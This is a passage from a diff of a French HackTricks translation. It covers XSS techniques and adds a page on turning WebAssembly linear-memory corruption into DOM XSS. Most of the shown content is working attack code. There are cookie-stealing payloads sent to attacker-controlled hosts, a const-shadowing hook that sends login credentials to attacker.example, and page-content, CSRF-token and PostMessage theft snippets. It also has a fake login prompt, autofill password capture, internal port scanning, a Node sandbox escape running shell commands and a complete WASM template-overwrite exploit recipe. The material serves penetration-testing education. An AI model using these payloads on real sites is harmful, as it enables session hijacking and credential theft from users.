import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Accéder à `require` indirectement
|
||||
- Accéder à `require` de manière indirecte
|
||||
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) les modules sont encapsulés par Node.js dans une fonction, comme ceci :
|
||||
```javascript
|
||||
@ -1052,7 +1063,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
De la même manière que dans l'exemple précédent, il est possible d'**utiliser des gestionnaires d'erreurs** pour accéder au **wrapper** du module et obtenir la fonction **`require`** :
|
||||
De manière similaire à l'exemple précédent, il est possible d'**utiliser des gestionnaires d'erreurs** pour accéder au **wrapper** du module et obtenir la fonction **`require`** :
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1090,9 +1101,9 @@ console.log(req("child_process").execSync("id").toString())
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
### Obfuscation & Contournement avancé
|
||||
|
||||
- **Différentes obfuscations sur une page :** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- **Différentes obfuscations sur une page:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
@ -1271,7 +1282,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## XSS payloads courants
|
||||
## Payloads XSS courants
|
||||
|
||||
### Plusieurs payloads en 1
|
||||
|
||||
@ -1282,14 +1293,14 @@ steal-info-js.md
|
||||
|
||||
### Iframe Trap
|
||||
|
||||
Forcer l'utilisateur à naviguer dans la page sans quitter l'iframe et dérober ses actions (y compris les informations envoyées via des formulaires) :
|
||||
Permet de faire naviguer l'utilisateur dans la page sans quitter un iframe et de voler ses actions (y compris les informations envoyées via les formulaires) :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../iframe-traps.md
|
||||
{{#endref}}
|
||||
|
||||
### Récupérer les Cookies
|
||||
### Récupérer les cookies
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
@ -1312,7 +1323,7 @@ Forcer l'utilisateur à naviguer dans la page sans quitter l'iframe et dérober
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le flag HTTPOnly est défini dans le cookie. Mais ici vous avez [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) si vous êtes assez chanceux.
|
||||
> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le flag HTTPOnly est défini sur le cookie. Mais ici vous avez [quelques façons de contourner cette protection](../hacking-with-cookies/index.html#httponly) si vous avez suffisamment de chance.
|
||||
|
||||
### Voler le contenu de la page
|
||||
```javascript
|
||||
@ -1327,7 +1338,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||
xhr.open("GET", url, true)
|
||||
xhr.send(null)
|
||||
```
|
||||
### Trouver les IPs internes
|
||||
### Trouver les IP internes
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
@ -1403,15 +1414,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Les temps courts indiquent un port qui répond_ _Les temps plus longs indiquent l'absence de réponse._
|
||||
_Des temps courts indiquent un port répondant_ _Des temps plus longs indiquent aucune réponse._
|
||||
|
||||
Consultez la liste des ports bloqués dans Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) et dans Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Consultez la liste des ports bloqués dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Boîte pour demander des credentials
|
||||
### Boîte pour demander des identifiants
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Capture des mots de passe auto-remplis
|
||||
### Capture des mots de passe auto-complétés
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
@ -1424,9 +1435,9 @@ body:username.value+':'+this.value
|
||||
```
|
||||
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
|
||||
|
||||
### Détourner les form handlers pour exfiltrer les credentials (const shadowing)
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
|
||||
Si un handler critique (par ex., `function DoLogin(){...}`) est déclaré plus loin dans la page, et que votre payload s'exécute plus tôt (par ex., via un inline JS-in-JS sink), définissez d'abord une `const` portant le même nom pour préempter et verrouiller le handler. Les déclarations de fonction ultérieures ne peuvent pas réassocier un nom `const`, laissant votre hook aux commandes :
|
||||
Si un handler critique (e.g., `function DoLogin(){...}`) est déclaré plus tard dans la page, et que votre payload s'exécute plus tôt (e.g., via un inline JS-in-JS sink), définissez d'abord un `const` du même nom pour préempter et verrouiller le handler. Les déclarations de fonction ultérieures ne peuvent pas rebind un nom `const`, laissant votre hook en contrôle :
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1435,20 +1446,20 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
};
|
||||
```
|
||||
Remarques
|
||||
- Cela dépend de l'ordre d'exécution : votre injection doit s'exécuter avant la déclaration légitime.
|
||||
- Si votre payload est enveloppé dans `eval(...)`, les bindings `const/let` ne deviendront pas globaux. Utilisez la technique d'injection dynamique `<script>` de la section “Deliverable payloads with eval(atob()) and scope nuances” pour garantir une liaison globale réelle, non réaffectable.
|
||||
- Quand des filtres par mots-clés bloquent du code, combinez avec des identifiants échappés en Unicode ou une livraison via `eval(atob('...'))`, comme montré ci-dessus.
|
||||
- Cela repose sur l'ordre d'exécution : votre injection doit s'exécuter avant la déclaration légitime.
|
||||
- Si votre payload est enveloppé dans `eval(...)`, les bindings `const/let` ne deviendront pas des globals. Utilisez la technique d'injection dynamique `<script>` de la section “Deliverable payloads with eval(atob()) and scope nuances” pour assurer une liaison globale véritable et non réaffectable.
|
||||
- Quand des filtres de mots-clés bloquent le code, combinez avec des identifiants échappés en Unicode ou une livraison via `eval(atob('...'))`, comme montré ci‑dessus.
|
||||
|
||||
### Keylogger
|
||||
|
||||
En recherchant sur github, j'ai trouvé plusieurs exemples différents :
|
||||
En cherchant simplement sur github, j'ai trouvé quelques exemples :
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- Vous pouvez aussi utiliser metasploit `http_javascript_keylogger`
|
||||
|
||||
### Voler des CSRF tokens
|
||||
### Stealing CSRF tokens
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
@ -1463,7 +1474,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
};
|
||||
</script>
|
||||
```
|
||||
### Voler des messages PostMessage
|
||||
### Voler les messages PostMessage
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
@ -1471,14 +1482,14 @@ window.onmessage = function(e){
|
||||
document.getElementById("message").src += "&"+e.data;
|
||||
</script>
|
||||
```
|
||||
### Abus des Service Workers
|
||||
### Abuser des Service Workers
|
||||
|
||||
|
||||
{{#ref}}
|
||||
abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### Accès au Shadow DOM
|
||||
### Accéder au Shadow DOM
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1494,7 +1505,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
|
||||
### Blind XSS payloads
|
||||
|
||||
Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com)
|
||||
Vous pouvez aussi utiliser : [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
@ -1561,7 +1572,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Accéder au contenu caché
|
||||
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
|
||||
À partir de [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) on peut apprendre que, même si certaines valeurs disparaissent de JS, il est toujours possible de les retrouver dans des attributs JS de différents objets. Par exemple, une entrée d'un REGEX peut encore être trouvée après que la valeur de l'entrée du regex a été supprimée :
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1578,14 +1589,14 @@ console.log(
|
||||
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
)
|
||||
```
|
||||
### Brute-Force List
|
||||
### Liste de Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS : abus d'autres vulnérabilités
|
||||
## XSS exploitant d'autres vulnérabilités
|
||||
|
||||
### XSS dans Markdown
|
||||
|
||||
@ -1598,41 +1609,41 @@ xss-in-markdown.md
|
||||
|
||||
### XSS vers SSRF
|
||||
|
||||
Vous avez du XSS sur un **site qui utilise du caching** ? Essayez de **le transformer en SSRF** via Edge Side Include Injection avec ce payload :
|
||||
Vous avez un XSS sur un **site that uses caching** ? Essayez **upgrading that to SSRF** via Edge Side Include Injection avec ce payload :
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Utilisez-le pour contourner les restrictions de cookies, les filtres XSS et bien plus encore!\
|
||||
Utilisez-le pour contourner les restrictions de cookies, les filtres XSS et bien plus encore !\
|
||||
Plus d'informations sur cette technique ici : [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in dynamic created PDF
|
||||
### XSS dans un PDF créé dynamiquement
|
||||
|
||||
Si une page web génère un PDF en utilisant des données contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF afin qu'il **exécute du code JS arbitraire**.\
|
||||
Ainsi, si le **bot de création de PDF trouve** une sorte de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **Server XSS**.
|
||||
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF afin de le faire **exécuter du code JS arbitraire**.\
|
||||
Donc, si le **bot créateur de PDF** trouve des **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **Server XSS**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Si vous ne pouvez pas injecter de balises HTML, cela peut valoir la peine d'essayer d'**injecter des données PDF** :
|
||||
Si vous ne pouvez pas injecter des balises HTML, il peut être intéressant d'essayer d'**injecter des données PDF** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS in Amp4Email
|
||||
### XSS dans Amp4Email
|
||||
|
||||
AMP, conçu pour accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par du JavaScript pour assurer la fonctionnalité en mettant l'accent sur la rapidité et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, conçu pour accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par JavaScript pour assurer la fonctionnalité en mettant l'accent sur la rapidité et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux emails, permettant aux destinataires d'interagir avec le contenu directement dans leurs emails.
|
||||
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend certains composants AMP aux emails, permettant aux destinataires d'interagir directement avec le contenu au sein de leurs emails.
|
||||
|
||||
Exemple [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS uploading files (svg)
|
||||
### XSS en téléversant des fichiers (svg)
|
||||
|
||||
Téléversez en tant qu'image un fichier comme le suivant (depuis [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)) :
|
||||
Téléversez en tant qu'image un fichier comme le suivant (provenant de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)) :
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
@ -1688,9 +1699,9 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Trouvez **plus de payloads SVG dans** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Trouvez **plus de SVG payloads sur** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Divers trucs JS et infos pertinentes
|
||||
## Astuces JS diverses & infos pertinentes
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -0,0 +1,133 @@
|
||||
# Corruption de la mémoire linéaire WebAssembly vers DOM XSS (template overwrite)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cette technique montre comment un bug de memory-corruption à l'intérieur d'un module WebAssembly (WASM) compilé avec Emscripten peut être transformé en un DOM XSS fiable même lorsque l'entrée est sanitizée. Le pivot consiste à corrompre des constantes modifiables dans la WASM linear memory (par ex., des HTML format templates) au lieu d'attaquer la chaîne source sanitizée.
|
||||
|
||||
Idée clé : Dans le modèle WebAssembly, le code vit dans des pages exécutables non-modifiables, mais les données du module (heap/stack/globals/"constants") résident dans une seule WASM linear memory plate (pages de 64KB) qui est modifiable par le module. Si du code buggy en C/C++ écrit out-of-bounds, vous pouvez écraser des objets adjacents et même des constant strings embarquées dans la linear memory. Quand une telle constante est ensuite utilisée pour construire du HTML pour insertion via un DOM sink, vous pouvez transformer une sanitized input en JavaScript exécutable.
|
||||
|
||||
Threat model and preconditions
|
||||
- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
|
||||
- Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
|
||||
- Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
|
||||
- There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
|
||||
|
||||
Minimal vulnerable data model (example)
|
||||
```c
|
||||
typedef struct msg {
|
||||
char *msg_data; // pointer to message bytes
|
||||
size_t msg_data_len; // length after sanitization
|
||||
int msg_time; // timestamp
|
||||
int msg_status; // flags
|
||||
} msg;
|
||||
|
||||
typedef struct stuff {
|
||||
msg *mess; // dynamic array of msg
|
||||
size_t size; // used
|
||||
size_t capacity; // allocated
|
||||
} stuff; // global chat state in linear memory
|
||||
```
|
||||
Schéma logique vulnérable
|
||||
- addMsg(): alloue un nouveau buffer dimensionné sur l'entrée assainie et ajoute un msg à s.mess, doublant la capacité avec realloc si nécessaire.
|
||||
- editMsg(): réassainit et utilise memcpy pour copier les nouveaux octets dans le buffer existant sans s'assurer que la nouvelle longueur ≤ l'allocation précédente → intra‑linear‑memory heap overflow.
|
||||
- populateMsgHTML(): formate le texte assaini avec un stub intégré comme "<article><p>%.*s</p></article>" résidant dans linear memory. Le HTML renvoyé atterrit dans un DOM sink (par ex., innerHTML).
|
||||
|
||||
Grooming de l'allocator avec realloc()
|
||||
```c
|
||||
int add_msg_to_stuff(stuff *s, msg new_msg) {
|
||||
if (s->size >= s->capacity) {
|
||||
s->capacity *= 2;
|
||||
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
|
||||
if (s->mess == NULL) exit(1);
|
||||
}
|
||||
s->mess[s->size++] = new_msg;
|
||||
return s->size - 1;
|
||||
}
|
||||
```
|
||||
- Envoyez suffisamment de messages pour dépasser la capacité initiale. Après l'agrandissement, realloc() place souvent s->mess immédiatement après le dernier tampon utilisateur dans la mémoire linéaire.
|
||||
- Débordez le dernier message via editMsg() pour corrompre des champs à l'intérieur de s->mess (p.ex., écraser des pointeurs msg_data) → réécriture arbitraire de pointeurs dans la mémoire linéaire pour des données rendues ultérieurement.
|
||||
|
||||
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
|
||||
- La sanitisation protège l'entrée, pas les sinks. Trouvez le format stub utilisé par populateMsgHTML(), p.ex. :
|
||||
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
|
||||
- Localisez le stub de manière déterministe en scannant la mémoire linéaire ; c'est une chaîne d'octets brute dans Module.HEAPU8.
|
||||
- Après avoir écrasé le stub, le contenu du message assaini devient le gestionnaire JavaScript pour onerror, donc ajouter un nouveau message avec un texte comme alert(1337) produit <img src=1 onerror=alert(1337)> et s'exécute immédiatement dans le DOM.
|
||||
|
||||
Chrome DevTools workflow (Emscripten glue)
|
||||
- Placez un breakpoint sur le premier appel Module.cwrap dans le glue JS et entrez dans le site d'appel wasm pour capturer les arguments pointeur (offsets numériques dans la mémoire linéaire).
|
||||
- Utilisez des vues typées comme Module.HEAPU8 pour lire/écrire la mémoire WASM depuis la console.
|
||||
- Extraits utilitaires:
|
||||
```javascript
|
||||
function writeBytes(ptr, byteArray){
|
||||
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
|
||||
for(let i=0;i<byteArray.length;i++){
|
||||
const byte = byteArray[i];
|
||||
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
|
||||
HEAPU8[ptr+i]=byte;
|
||||
}
|
||||
}
|
||||
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
|
||||
function readBytesAsChars(ptr,len){
|
||||
const bytes=HEAPU8.subarray(ptr,ptr+len);
|
||||
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
|
||||
}
|
||||
function searchWasmMemory(str){
|
||||
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
|
||||
for(let i=0;i<mem.length-pat.length;i++){
|
||||
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
|
||||
if(ok) console.log(`Found "${str}" at memory address:`, i);
|
||||
}
|
||||
console.log(`"${str}" not found in memory`);
|
||||
return -1;
|
||||
}
|
||||
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
|
||||
```
|
||||
Recette d'exploitation de bout en bout
|
||||
1) Groom : ajoutez N petits messages pour déclencher realloc(). Assurez-vous que s->mess est adjacent à un buffer utilisateur.
|
||||
2) Overflow : appelez editMsg() sur le dernier message avec une payload plus longue pour écraser une entrée dans s->mess, en définissant msg_data du message 0 pour pointer vers (stub_addr + 1). Le +1 saute le '<' initial pour conserver l'alignement des tags pendant la modification suivante.
|
||||
3) Template rewrite : éditez le message 0 de sorte que ses octets écrasent le template avec : "img src=1 onerror=%.*s ".
|
||||
4) Trigger XSS : ajoutez un nouveau message dont le contenu assaini est du JavaScript, par exemple alert(1337). Le rendu émet <img src=1 onerror=alert(1337)> et s'exécute.
|
||||
|
||||
Exemple de liste d'actions à sérialiser et placer dans ?s= (encoder en Base64 avec btoa avant utilisation)
|
||||
```json
|
||||
[
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
|
||||
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
|
||||
{"action":"add","content":"alert(1337)","time":1756840476392}
|
||||
]
|
||||
```
|
||||
Pourquoi ce contournement fonctionne
|
||||
- WASM empêche l'exécution de code depuis la mémoire linéaire, mais les données constantes à l'intérieur de la mémoire linéaire sont modifiables si la logique du programme est défectueuse.
|
||||
- Le sanitizer ne protège que la chaîne source ; en corrompant le sink (le template HTML), l'entrée assainie devient la valeur du handler JS et s'exécute lorsqu'elle est insérée dans le DOM.
|
||||
- L'adjacence provoquée par realloc() combinée à des memcpy non vérifiés dans les flux d'édition permet la corruption de pointeurs pour rediriger des écritures vers des adresses choisies par l'attaquant dans la mémoire linéaire.
|
||||
|
||||
Généralisation et autres surfaces d'attaque
|
||||
- Tout template HTML en mémoire, squelette JSON ou motif d'URL embarqué dans la mémoire linéaire peut être ciblé pour modifier la façon dont les données assainies sont interprétées en aval.
|
||||
- Autres pièges courants de WASM : écritures/lectures hors bornes dans la mémoire linéaire, UAF sur des objets du heap, mauvaise utilisation de la function-table avec indices d'appels indirects non vérifiés, et incompatibilités du glue JS↔WASM.
|
||||
|
||||
Conseils de défense
|
||||
- Dans les chemins d'édition, vérifier que la nouvelle longueur ≤ capacité ; redimensionner les buffers avant la copie (realloc vers new_len) ou utiliser des APIs à taille limitée (snprintf/strlcpy) et suivre la capacité.
|
||||
- Ne pas placer les templates immuables dans la mémoire linéaire écrivable ou effectuer une vérification d'intégrité avant usage.
|
||||
- Considérer les frontières JS↔WASM comme non fiables : valider les plages/longueurs de pointeurs, effectuer du fuzzing sur les interfaces exportées, et plafonner la croissance mémoire.
|
||||
- Assainir au niveau du sink : éviter de construire du HTML dans WASM ; préférer les API DOM sûres plutôt que le templating de type innerHTML.
|
||||
- Éviter de faire confiance à l'état embarqué dans l'URL pour des flux privilégiés.
|
||||
|
||||
## Références
|
||||
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
|
||||
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
|
||||
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
|
||||
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
|
||||
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user